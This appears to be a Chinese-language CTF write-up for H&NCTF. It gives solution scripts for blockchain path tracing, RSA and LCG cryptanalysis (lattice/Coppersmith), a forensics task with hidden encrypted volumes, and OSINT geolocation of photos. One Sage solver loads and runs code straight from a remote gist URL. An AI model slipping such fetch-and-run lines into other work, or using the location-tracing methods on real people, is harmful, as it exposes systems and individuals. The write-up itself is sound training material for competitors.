写脚本还原交易路径,使用 networkx 构建有向图,起始节点(入度为0的节点),终止节点(出度为0的节点)
import pandas as pd
import networkx as nx
import base58
def base58_decode_str(s: str) -> str:
try:
decoded_bytes = base58.b58decode(s)
return decoded_bytes.decode('utf-8')
except Exception as e:
print(f"解码失败: {s},错误: {e}")
return s
# 读取CSV文件
df = pd.read_csv("sheidongleheixian.csv")
# 只解码 tx_hash 列
df['tx_hash'] = df['tx_hash'].apply(base58_decode_str)
# 构建图
G = nx.DiGraph()
for _, row in df.iterrows():
G.add_edge(row["from_address"], row["to_address"], tx_hash=row["tx_hash"])
# 找起点和终点
start_nodes = [n for n, d in G.in_degree() if d == 0]
end_nodes = [n for n, d in G.out_degree() if d == 0]
print(f"起点数量: {len(start_nodes)}")
print(f"终点数量: {len(end_nodes)}")
path_count = 0
max_print = None
with open("all_paths_decoded.txt", "w", encoding="utf-8") as f:
for start in start_nodes:
for end in end_nodes:
for path in nx.all_simple_paths(G, source=start, target=end, cutoff=6):
path_count += 1
if max_print and path_count > max_print:
break
f.write(f"路径{path_count}: {' -> '.join(path)}\n")
for i in range(len(path) - 1):
u, v = path[i], path[i+1]
f.write(f" 边{u} -> {v}: tx_hash = {G[u][v]['tx_hash']}\n")
f.write("-" * 40 + "\n")
print(f"共找到路径数量: {path_count},结果写入 all_paths_decoded.txt")
总共还原出 3125 条数据
题目中说 flag 为有意义的字符串,可能存储数据的只有 tx\_hash
这一列,其内容为 tx000001+xxxx
这样的内容
路径1: 14B43RN0FRLN2MVPS9D1C -> 1QLHG0KSCA7WIMUZOPPO7 -> 146WVE6IQ95L936UO8Y8W -> 1YRR4W164CZJZ0KUTJNG5 -> 10ORXI2I2TCYPSD04PUSC -> 188LHWVRXVPRZZJK5DTW1 -> 14QIWXQXAET9C1H8OR09U
边14B43RN0FRLN2MVPS9D1C -> 1QLHG0KSCA7WIMUZOPPO7: tx_hash = tx000002litt7H6R
边1QLHG0KSCA7WIMUZOPPO7 -> 146WVE6IQ95L936UO8Y8W: tx_hash = tx000011F6JVVRGF
边146WVE6IQ95L936UO8Y8W -> 1YRR4W164CZJZ0KUTJNG5: tx_hash = tx000058GBHRSH5U
边1YRR4W164CZJZ0KUTJNG5 -> 10ORXI2I2TCYPSD04PUSC: tx_hash = tx000292KMOK9OSP
边10ORXI2I2TCYPSD04PUSC -> 188LHWVRXVPRZZJK5DTW1: tx_hash = tx001461N3G8SLQ6
边188LHWVRXVPRZZJK5DTW1 -> 14QIWXQXAET9C1H8OR09U: tx_hash = tx0045860R8TY7WH
还原出的路径 1 中,litt
是 little 的一部分,比较有可能是 flag 的内容
筛选 litt
有 625 项,继续往后翻包含 litt
的内容
路径501: 14B43RN0FRLN2MVPS9D1C -> 1QLHG0KSCA7WIMUZOPPO7 -> 11BLNO45UCHNY8NV10L6C -> 1N6NG0797IP2XZCNKS3T4 -> 1XKRVSWVHBSPN9YHR76HG -> 1I44QEIM7ATHYSBO5UCF3 -> 14QIWXQXAET9C1H8OR09U
边14B43RN0FRLN2MVPS9D1C -> 1QLHG0KSCA7WIMUZOPPO7: tx_hash = tx000002litt7H6R
边1QLHG0KSCA7WIMUZOPPO7 -> 11BLNO45UCHNY8NV10L6C: tx_hash = tx000014le_dWAHC
边11BLNO45UCHNY8NV10L6C -> 1N6NG0797IP2XZCNKS3T4: tx_hash = tx000071F6K234H4
边1N6NG0797IP2XZCNKS3T4 -> 1XKRVSWVHBSPN9YHR76HG: tx_hash = tx000356QDJ9QNTZ
边1XKRVSWVHBSPN9YHR76HG -> 1I44QEIM7ATHYSBO5UCF3: tx_hash = tx001784UY47WKWL
边1I44QEIM7ATHYSBO5UCF3 -> 14QIWXQXAET9C1H8OR09U: tx_hash = tx0049099R8VJKAL
第 501 条路径中,tx000014
后面的前 4 位与 litt
可以连起来组成 little\_d
。这时候基本可以确定,是将flag的内容拆开分解到真正的路径中。根据此逻辑,找到最后的路径:
路径561: 14B43RN0FRLN2MVPS9D1C -> 1QLHG0KSCA7WIMUZOPPO7 -> 11BLNO45UCHNY8NV10L6C -> 1VRJZ41EPVY9FU6NIY5SF -> 1XGZ3DFR4GD677Q3I03QQ -> 11XKA4RV52ZGFKTLWV52A -> 14QIWXQXAET9C1H8OR09U
边14B43RN0FRLN2MVPS9D1C -> 1QLHG0KSCA7WIMUZOPPO7: tx_hash = tx000002litt7H6R
边1QLHG0KSCA7WIMUZOPPO7 -> 11BLNO45UCHNY8NV10L6C: tx_hash = tx000014le_dWAHC
边11BLNO45UCHNY8NV10L6C -> 1VRJZ41EPVY9FU6NIY5SF: tx_hash = tx000075og_i43J2
边1VRJZ41EPVY9FU6NIY5SF -> 1XGZ3DFR4GD677Q3I03QQ: tx_hash = tx000377s_AoOCHG
边1XGZ3DFR4GD677Q3I03QQ -> 11XKA4RV52ZGFKTLWV52A: tx_hash = tx001890mr!!ZIU4
边11XKA4RV52ZGFKTLWV52A -> 14QIWXQXAET9C1H8OR09U: tx_hash = tx005015BJ1U9H0J
拼起来后即可得到 flag
H&NCTF{little_dog_is_Aomr!!}
(ps:义父们轻点骂,呜呜)
下面给大家贴上出题源码
import random
import string
import pandas as pd
def random_address():
chars = string.ascii_uppercase + string.digits
return "1" + "".join(random.choices(chars, k=20))
def generate_tx_hash(idx, embed_flag_part=None):
suffix = "".join(random.choices(string.ascii_uppercase + string.digits, k=4))
if embed_flag_part:
embed_str = embed_flag_part[:4]
return f"tx{idx:06d}{embed_str}{suffix}"
else:
return f"tx{idx:06d}" + "".join(random.choices(string.ascii_uppercase + string.digits, k=8))
def generate_data_with_flag_embedding(num_layers=5, fake_branches=5):
data = []
start_address = random_address()
flag = "flag{little_dog_is_Aomr!!}"
middle = flag[5:25] # little_dog_is_Aomr
flag_parts = [middle[i:i+4] for i in range(0, 20, 4)] # ['litt', 'le_d', 'og_i', 's_Ao', 'mr!!']
# Step 1: 随机构造 flag 路径
flag_path = [start_address]
for _ in range(num_layers):
flag_path.append(random_address())
tx_counter = 1
current_addresses = [start_address]
for layer in range(num_layers):
next_addresses = []
# ✅ 固定每层嵌入 flag 的分支索引
flag_branch_index = random.randint(0, fake_branches - 1)
for addr in current_addresses:
for i in range(fake_branches):
to_addr = random_address()
embed_flag = None
# ✅ 如果当前是 flag 路径的正确边,嵌入 flag
if addr == flag_path[layer] and i == flag_branch_index:
to_addr = flag_path[layer + 1]
embed_flag = flag_parts[layer]
tx_hash = generate_tx_hash(tx_counter, embed_flag)
tx_counter += 1
amount = round(1.0 / fake_branches, 8)
data.append({
"from_address": addr,
"to_address": to_addr,
"amount_sol": amount,
"timestamp": 1680000000 + tx_counter,
"tx_hash": tx_hash
})
next_addresses.append(to_addr)
current_addresses = next_addresses
random.shuffle(data)
# 最后一层转到 flag 地址
flag_address = random_address()
for addr in current_addresses:
tx_hash = generate_tx_hash(tx_counter)
tx_counter += 1
amount = round(1.0 / len(current_addresses), 8)
data.append({
"from_address": addr,
"to_address": flag_address,
"amount_sol": amount,
"timestamp": 1680000000 + tx_counter,
"tx_hash": tx_hash
})
df = pd.DataFrame(data)
df.to_csv("sheidongleheixian.csv", index=False)
# Debug 输出
print("[DEBUG] Start address:", start_address)
print("[DEBUG] Flag path:")
for i, addr in enumerate(flag_path):
print(f" Layer {i}: {addr}")
print("[DEBUG] Flag address:", flag_address)
print("[DEBUG] Flag:", flag)
print("[DEBUG] Total transactions:", df.shape[0])
if __name__ == "__main__":
generate_data_with_flag_embedding(num_layers=5, fake_branches=5)
Crypto
ez-factor
from Crypto.Util.number import *
import gmpy2
# 参数设置
rbits = 248
Nbits = 1024
R = 2^rbits
print("R=",R)
N= 155296910351777777627285876776027672037304214686081903889658107735147953235249881743173605221986234177656859035013052546413190754332500394269777193023877978003355429490308124928931570682439681040003000706677272854316717486111569389104048561440718904998206734429111757045421158512642953817797000794436498517023
hint= 128897771799394706729823046048701824275008016021807110909858536932196768365642942957519868584739269771824527061163774807292614556912712491005558619713483097387272219068456556103195796986984219731534200739471016634325466080225824620962675943991114643524066815621081841013085256358885072412548162291376467189508
c=32491252910483344435013657252642812908631157928805388324401451221153787566144288668394161348411375877874802225033713208225889209706188963141818204000519335320453645771183991984871397145401449116355563131852618397832704991151874545202796217273448326885185155844071725702118012339804747838515195046843936285308
'''
# SageMath10.5
# 设置参数
t, k = 38, 19
x = ZZ['x'].gen()
fx = hint - x
# 构造多项式系数
poly_coeffs = []
for j in range(t + 1):
# 计算各项指数
N_exponent = max(k - j, 0)
f_exponent = min(j, k)
x_exponent = max(j - k, 0)
# 构造多项式项
Q_j = N^N_exponent * fx^f_exponent * x^x_exponent
# 将Q_j的系数作为向量,不足的项补0
Q_j_vector = Q_j.list() + [0] * (t - Q_j.degree())
for i in range(len(Q_j_vector)):
Q_j_vector[i] *= R^i
poly_coeffs.append(Q_j_vector)
# 构造矩阵并进行LLL规约
B = Matrix(ZZ, poly_coeffs)
v = B.LLL()[0] # 取LLL规约后的第一个向量
# 构造多项式
g_kx = sum(v[i] * x^i for i in range(len(v)))
gx = g_kx(x / R) # 转换为g(x)
# 求根
roots = gx.monic().roots()
print(roots)
#R= 452312848583266388373324160190187140051835877600158453279131187530910662656
#[(310384729555967603261671853388867753979360895944109353196595111340924855459, 1)]
'''
r=310384729555967603261671853388867753979360895944109353196595111340924855459
p=gmpy2.gcd(N,hint-r)
q=N//p
phi=(p-1)*(q-1)
e=0x10001
d=gmpy2.invert(e,phi)
m=pow(c,d,N)
print(long_to_bytes(m))
ez-factor-pro
from Crypto.Util.number import *
from Crypto.Util.Padding import *
from gmssl.sm4 import CryptSM4, SM4_DECRYPT
from hashlib import sha256
from random import *
import uuid
import gmpy2
N = 133196604547992363575584257705624404667968600447626367604523982016247386106677898877957513177151872429736948168642977575860754686097638795690422242542292618145151312000412007125887631130667228632902437183933840195380816196093162319293698836053406176957297330716990340998802156803899579713165154526610395279999
hint = 88154421894117450591552142051149160480833170266148800195422578353703847455418496231944089437130332162458102290491849331143073163240148813116171275432632366729218612063176137204570648617681911344674042091585091104687596255488609263266272373788618920171331355912434290259151350333219719321509782517693267379786
c=b'476922b694c764725338cca99d99c7471ec448d6bf60de797eb7cc6e71253221035eb577075f9658ac7f1a40747778ac261787baad21ee567256872fa9400c37'
'''
# SageMath10.5
def flatter(M):
from subprocess import check_output
from re import findall
# compile https
z = "[[" + "]\n[".join(" ".join(map(str, row)) for row in M) + "]]"
ret = check_output(["flatter"], input=z.encode())
return matrix(M.nrows(), M.ncols(), map(int, findall(b"-?\\d+", ret)))
rbits = 252
Nbits = 1024
R = 2^rbits
# parameters
t, k = 88, 44
x = ZZ['x'].gen()
fx = N1 - x
poly_coeffs = []
for j in range(t + 1):
# 指数
N_exponent = max(k - j, 0)
f_exponent = min(j, k)
x_exponent = max(j - k, 0)
Q_j = N^N_exponent * fx^f_exponent * x^x_exponent
# 这里把Q_j的系数作为向量,没有的项即补0
Q_j_vector = Q_j.list() + [0] * (t - Q_j.degree())
for i in range(len(Q_j_vector)):
Q_j_vector[i] *= R^i
poly_coeffs.append(Q_j_vector)
# 构造为矩阵
B = Matrix(ZZ, poly_coeffs)
print(B.dimensions())
# t = 134, k = 67, Nbits = 1024, rbits = 253 比论文中的2787s快了不少
# v是LLL规约后的第一个向量
v = flatter(B)[0]
# 向量的值作为多项式g(2^rbits*x)的系数
g_kx = sum(v[i] * x^i for i in range(len(v)))
# 再求g(x)
gx = g_kx(x / R)
roots = gx.monic().roots()
print(roots)
'''
r = 7166351305785506670352015492214713707534657162937963088592442157834795391917
p=gmpy2.gcd(N,hint-r)
q=N//p
c = bytes.fromhex("476922b694c764725338cca99d99c7471ec448d6bf60de797eb7cc6e71253221035eb577075f9658ac7f1a40747778ac261787baad21ee567256872fa9400c37") # Replace with actual ciphertext hex
leak = p * q * r
r_bytes = long_to_bytes(leak)
iv = r_bytes[:16] if len(r_bytes) >= 16 else r_bytes + b'\0'*(16-len(r_bytes))
key = sha256(str(p + q + r).encode()).digest()[:16]
crypt_sm4 = CryptSM4()
crypt_sm4.set_key(key, SM4_DECRYPT)
decrypted = crypt_sm4.crypt_cbc(iv, c)
try:
flag = unpad(decrypted, 16)
print("Decrypted flag:", flag.decode())
except ValueError as e:
print("Decryption failed:", e)
print("Decrypted bytes:", decrypted)
#Decrypted flag: H&NCTF{ac354aae-cb6b-4bd1-a9cd-090812b8f93e}
lcgp
from Crypto.Util.number import *
import gmpy2
c1, c2, c3, c4, c5=
x = [c1, c2, c3, c4, c5]
t = []
for i in range(1, len(x)):
t.append(x[i] - x[i-1])
m = 0
for i in range(1, len(t)-1):
m = GCD(t[i+1]*t[i-1] - t[i]*t[i], m)
print(m)
a=(c3-c2)*gmpy2.invert(c2-c1,m)
b=(c2-c1*a)%m
a_1 = gmpy2.invert(a,m)
c1 = (c1 - b) * a_1 % m
print(c1)
n = 604805773885048132038788501528078428693141138274580426531445179173412328238102786863592612653315029009606622583856638282837864213048342883583286440071990592001905867027978355755042060684149344414810835371740304319571184567860694439564098306766474576403800046937218588251809179787769286393579687694925268985445059
e = 2024
c = c1
flag = discrete_log(Mod(c,n),Mod(e,n))
print(long_to_bytes(flag))
three vertical lines
from Crypto.Util.number import *
n = 72063558451087451183203801132459543552092564094711815404066471440396765744526854383117910805713050240067432476705168314622044706081669935956972031037827580519320550326077291392722314265758802332280697884744792689996718961355845963752788234205565249205191648439412084543163083032775054018324646541875754706761793307667356964825613429368358849530455220484128264690354330356861777561511117
tmp = GF(n)(4/3)
t = tmp.nth_root(5)
M = Matrix(ZZ,[
[1,t],
[0,n]
])
q,p = M.LLL()[0]
q,p = abs(q),abs(p)
print(3 * p**5 + 4 * q**5 == n)
c = 2864901454060087890623075705953001126417241189889895476561381971868301515757296100356013797346138819690091860054965586977737630238293536281745826901578223
d = inverse(65537, (p - 1) * (q - 1))
print(long_to_bytes(pow(c, d, p * q)))
为什么出题人的 rsa 总是 ez
c=13148687178480196374316468746303529314940770955906554155276099558796308164996908275540972246587924459788286109602343699872884525600948529446071271042497049233796074202353913271513295267105242313572798635502497823862563815696165512523074252855130556615141836416629657088666030382516860597286299687178449351241568084947058615139183249169425517358363928345728230233160550711153414555500038906881581637368920188681358625561539325485686180307359210958952213244628802673969397681634295345372096628997329630862000359069425551673474533426265702926675667531063902318865506356674927615264099404032793467912541801255735763704043
n=13718277507497477508850292481640653320398820265455820215511251843542886373380880887850571647060788265498378060163112689840208264538965960596605641194331300743676780910818492860412739541418029075802834265712602393103809065720527365081016381358333378953245379751008531500896923727040455566953960991908174586311899809864209624888469263612475732913062035036254077225370843701146080145441104733074178115602425412116325647598625157922655504918118208783230138448694045386019901732846478340735331718476554208157393418221315041837392020742062275999319586357229583509788489495876723122993592623230858393165458733055504467513549
h1=6992022576367328281523272055384380182550712894467837916200781058620282657859189270338635886912232754034211897894637971546032107000253692739473463119025570291091085702056938901846349325941043398928197991115231668917435951127329817379935880511925882734157491821315858319170121031835598580384038723788681860763814776365440362143661999054338470989558459179388468943933975861549233231199667742564080001256192881732567616103760815633265325456143601649393547666835326272408622540044065067528568675569233240785553062685974593620235466519632833169291153478793523397788719000334929715524989845012633742964209311952378479134661
h2=16731800146050995761642066586565348732313856101572403535951688869814016691871958158137790504490910445304384109605408840493227057830017039824412834989258703833576252634055087138315434304691218949240382395879124201923060510497916818961571111218224960267593032380037212325935576750663442553781924370849537501656957488833521657563900462052017695599020610911371304659875887924695896434699048696392210066253577839887826292569913713802634067508141124685789817330268562127695548527522031774601654778934513355315628270319037043809972087930951609429846675450469414212384044849089372435124609387061864545559812994515828333828939
load('https://gist.githubusercontent.com/Connor-McCartney/952583ecac836f843f50b785c7cb283d/raw/5718ebd8c9b4f9a549746094877a97e7796752eb/solvelinmod.py')
var('p q')
bounds = {p: 2**1024, q: 2**1024}
eqs = [(q*h1 + p*h2 - h1*h2==0, n)]
sol = solve_linear_mod(eqs, bounds)
p = sol[p]
q = sol[q]
d = pow(65537, -1, (p-1)*(q-1))
m = pow(c,d,n)
from Crypto.Util.number import *
print(long_to_bytes(m))
求出e,
flag{e_is_xevaf-cityf-fisof-ketaf-metaf-disef-nuvaf-cysuf-dosuf-getuf-cysuf-dasix,bubbleBabble}
81733668723981020451323
Common prime rsa
from Crypto.Util.number import *
from gmpy2 import *
from sage.groups.generic import bsgs
N=10244621233521168199001177069337072125430662416754674144307553476569744623474797179990380824494968546110022341144527766891662229403969035901337876527595841503498459533492730326942662450786522178313517616168650624224723066308178042783540825899502172432884573844850572330970359712379107318586435848029783774998269247992706770665069866338710349292941829996807892349030660021792813986069535854445874069535737849684959397062724387110903918355074327499675776518032266136930264621047345474782910332154803497103199598761422179303240476950271702406633802957400888398042773978322395227920699611001956973796492459398737390290487
g=2296316201623391483093360819129167852633963112610999269673854449302228853625418585609211427788830598219647604923279054340009043347798635222302374950707
nbits = N.bit_length()
gamma = g.bit_length()/nbits
cbits = ceil(nbits * (0.5 - 2 * gamma))
M = (N - 1) // (2 * g)
u = M // (2 * g)
v = M - 2 * g * u
GF = Zmod(N)
x = GF.random_element()
y = x ^ (2 * g)
c = bsgs(y, y ^ u, ((2**int(cbits-1)), (2**int(cbits+1))))
ab = u - c
apb = v + 2 * g * c
P.<x> = ZZ[]
f = x ^ 2 - apb * x + ab
a = f.roots()
if a:
a, b = a[0][0], a[1][0]
p = 2 * g * a + 1
q = 2 * g * b + 1
assert p * q == N
print(p,q)
得到 pq 解 rsa
哈基coke
猫脸变换
import matplotlib.pyplot as plt
import cv2
import numpy as np
from PIL import Image
def arnold_decode(image, shuffle_times, a, b):
""" decode for rgb image that encoded by Arnold
Args:
image: rgb image encoded by Arnold
shuffle_times: how many times to shuffle
Returns:
decode image
"""
# 1:创建新图像
decode_image = np.zeros(shape=image.shape)
# 2:计算N
h, w = image.shape[0], image.shape[1]
N = h # 或N=w
# 3:遍历像素坐标变换
for time in range(shuffle_times):
for ori_x in range(h):
for ori_y in range(w):
# 按照公式坐标变换
new_x = ((a * b + 1) * ori_x + (-b) * ori_y) % N
new_y = ((-a) * ori_x + ori_y) % N
decode_image[new_x, new_y, :] = image[ori_x, ori_y, :]
image = np.copy(decode_image)
cv2.imwrite('flag.png', decode_image, [int(cv2.IMWRITE_PNG_COMPRESSION), 0])
return decode_image
img=cv2.imread('附件/en_flag.png')
arnold_decode(img, 6, 9, 1)
数据处理
from Crypto.Util.number import long_to_bytes
from itertools import permutations
m = 5084057673176634704877325918195984684237263100965172410645544705367004138917087081637515846739933954602106965103289595670550636402101057955537123475521383
c = 2989443482952171039348896269189568991072039347099986172010150242445491605115276953489889364577445582220903996856271544149424805812495293211539024953331399
n = 2 ** 512
e = 3282248010524512146638712359816289396373430161050484501341123570760619381019795910712610762203934445754701
new_flag = str(e)
fixed = {'0': '7', '4': '4', '9': '5'}
src_remaining = ['1', '2', '3', '5', '6', '7', '8']
dst_remaining = ['0','1', '2','3', '6', '8', '9'] # 可用字符排除已固定的745
valid_tables = []
for perm in permutations(dst_remaining, len(src_remaining)):
table = fixed.copy()
table.update({k: v for k, v in zip(src_remaining, perm)})
if len(set(table.values())) == len(table):
valid_tables.append(table)
for table in valid_tables:
reverse_table = {v: k for k, v in table.items()}
try:
btl = ''.join([reverse_table[c] for c in new_flag])
flag_long = int(btl)
flag = long_to_bytes(flag_long)
if b'H&N' in flag:
print(flag)
except (KeyError, ValueError):
continue
Forensics
ez_game
打开 vhd,有两个卷,y 卷有个 key 和 hint

其实就是告诉我们 z 卷的 hhhh 藏了一个镜像,挂载密码是 key.jpg 这个文件

挂载发现藏了这三个文件,其实就是 centos 的镜像,弱密码是 1234

看一下 terminal 的历史记录,第一个就写了 key,但是写着是 VC,说明可能这个容器还有隐藏分卷。用 secret_VC 重新挂载,看见有个 hhhh.zip

密码未知,还得从 centos 系统再找

/home/test/ 下边还有 hhhh.txt

vim 查看是有零宽隐写的

其实告诉我们 hhhh.zip 的密码是上边密码的 shift,即 ~!@#$%^&*()_+

解压得到的文件其实是矢量图,有 github 项目翻译,也可以用 draw.io 这个网站在线编译打开

flag{YOU_R_SSSO_COOL}
OSINT
Chasing Freedom 1
图片详细信息可以看到拍摄时间

通过图片可以获取到船号信息 闽平渔65599
,通过微信公众号 “船讯网” 的船位查询功能查询轨迹信息,查找对应时间段船舶位置

得知位置在丁鼻垄
H&NCTF{0503-丁鼻垄}
Chasing Freedom 2
拍摄时间比 Chasing Freedom 1 早,为上岛之前
岚庠渡字眼表面这是客船上岛去的,在流水码头.这条航线一共只有三条船岚庠渡 1 号、岚庠渡 2 号、岚庠渡 3 号
H&NCTF{0504-流水码头-岚庠渡3号}
Chasing Freedom 3
通过 Chasing Freedom 1 可知去的是平潭,平潭的灯塔都拿出来对比一下就知道是东庠岛灯塔了
H&NCTF{0504-东庠岛灯塔}
猜猜我在哪儿?
题目描述:st7wg 师傅去年从学校去 lm 研发中心(能力中心)实习的路上拍下了这张照片...
主办方为中北大学和湖南人文科技学院,则 st7wg 师傅为两所高校中的一所。互联网搜索可知绿盟有北京、武汉、西安、成都、南京五大研发中心,结合图片中植物最显著的是杨树
且土质偏黄,综合判断为西安。则为西安回太原的铁路,打开图片属性,拍摄日期为 24 年 6 月 5 日 17:53,根据影子可判断如下方位,即铁轨基本为东西走向

根据下方有道路穿过铁轨,且拍摄视角与远处土塬相近,可知此处铁轨为高架桥
黄土高原地貌:塬、梁、峁
图片拍摄处地势平坦,而远处为塬,综合黄土高原地势分析此处为河滩地貌。综合高架桥、平坦、河滩地貌,可推断出此地为黄河两岸
12306查询西安至太原相关车次,可得过黄河主要有以下两条线路
- 韩城——河津

- 大荔——永济北

图片中可提取如下特征


对比地图,韩城至河津段有一个大土台,桥梁与村庄较近,不符合图片特征

大荔至永济段有如下符合的特征,且耕地特征、部分的红色房屋顶等相关特征均可关联

查阅互联网可知此桥为晋陕黄河特大桥,根据地图可知此地为永济市张营镇下吴村附近
flag{永济市张营镇下吴村}